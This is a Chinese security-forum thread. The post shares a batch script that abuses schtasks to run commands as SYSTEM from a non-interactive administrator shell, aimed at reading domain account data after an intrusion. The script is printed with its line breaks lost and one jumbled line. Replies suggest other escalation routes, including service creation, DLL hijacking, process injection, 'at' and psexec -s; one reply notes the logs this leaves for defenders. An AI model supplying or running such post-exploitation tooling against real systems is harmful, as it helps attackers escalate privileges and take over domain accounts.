非交互环境下admin权限转system权限小脚本

应用场景：当前为本地administrator 本地帐号想查看域帐号信息(需域帐号权限或system帐号) 但当前shell 非交互 也无法反弹找了几款发现仅支持 Vista 以下系统交互环境下建议用 nircmd.exe

psexec 倒是可以非交互下使用 但是目标系统执行出错利用wmi 也不行“nircmd.exe elevatecmd runassystem cmd.exe” 非交互环境下不行

所以利用schtasks命令 随手写一个批处理来实现 非交互环境下 administrator 转 system 用户的批处理脚本

@echo offver|findstr "5\.[0-9]\.[0-9][0-9]*" >NUL 2>NUL && (echo [-] Not Working for winxp\win2k3 &&goto :EOF)del /f /q %result_file% >NUL 2>NULRd "%WinDir%\system32\test_permissions" >NUL 2>NULMd "%WinDir%\System32\test_permissions" 2>NUL||(Echo.& [-] Echo Run as administrator user. &&goto :EOF)set comands=%*if not defined comands (    echo.    echo Run as SYSTEM  Account Tool    echo.    echo [-] error: The syntax of the command is incorrect.    echo.    echo Help:    echo       %~n0 command     goto :EOF    )set result_file=%tmp%\command_result.txtschtasks.exe /create /ru "SYSTEM" /tn "runAsSystem" /sc DAILY /tr "cmd.exe /c chcp 437>NUL 2>NUL&&%comands%> %result_file%" /F >NUL 2>NULschtasks.exe /run   /tn runAsSystem /i >NUL 2>NULchcp 437>NUL 2>NUL&& schtasks.exe /query /tn runAsSystem /fo list| findstr /i "Running"  >NUL 2>NUL && (goto :Running ) || ( goto :Ready):Readytype %result_file%schtasks.exe  /delete /tn runAsSystem /f >NUL 2>NULdel /f /q %result_file% >NUL 2>NULgoto :EOF:RunningTIMEOUT /T 1 >NUL 2>NULchcp 437>NUL 2>NUL&& schtasks.exe /query /tn runAsSystem /fo list| findstr /i "Running"  >NUL 2>NUL && (goto :Running ) || ( goto :Ready)goto :EOF:EOF

9 回复

iswin1楼•6 个月前

@lostwolf 问个问题，schtasks这个工具运行后是否会在系统日志里面留下日志，我记得run as 这种方式可以通过日志来发现。

lostwolf2楼•6 个月前 作者

会留下日志日志位置：C:\Windows\Tasks\SchedLgU.txt

iswin3楼•6 个月前

@lostwolf 恩 类似这样的行为日志，在溯源和hunting的时候这些日志就很重要了。

darkray4楼•6 个月前

总结起来，最直接暴力的切换权限的方式有如下两种：

1. 以服务方式驱动需要运行的可执行文件
2. 直接进程注入插入高权限进程

这之前有个前提，就是允许有权限操作这这俩，系统大多遵循谁驱动继承谁的权限机制。操作计划任务实际上操作了计划任务服务，服务运行在System下，故因为如上原则能，所驱动的目标程序继承了其权限。所以更简单来首，你可以使用sc命令亦可，只是目标PE需要做些处理 :)

fchk5楼•6 个月前

不靠程序实现的话拿SYSTEM最简单的就是SC和AT了，说白了都是靠服务加载继承来的权限，这样搞日志都是一大堆。我更倾向于劫持一个服务的DLL或者用SC来创建一个EXE，通过读写文本来输入输出，你说的出错是你写法的问题。

xxnbyy6楼•6 个月前

@fchk 老哥能不能详细的说一下

admins7楼•5 个月前

psexec也可以啊、 -s

gsrc8楼•5 个月前

这个方法动作太多 还是用at吧，不行自己写工具也行，参考 meterpreter 就行

sudo9楼•5 分钟前

自己写个带密码传参的Runas就搞定了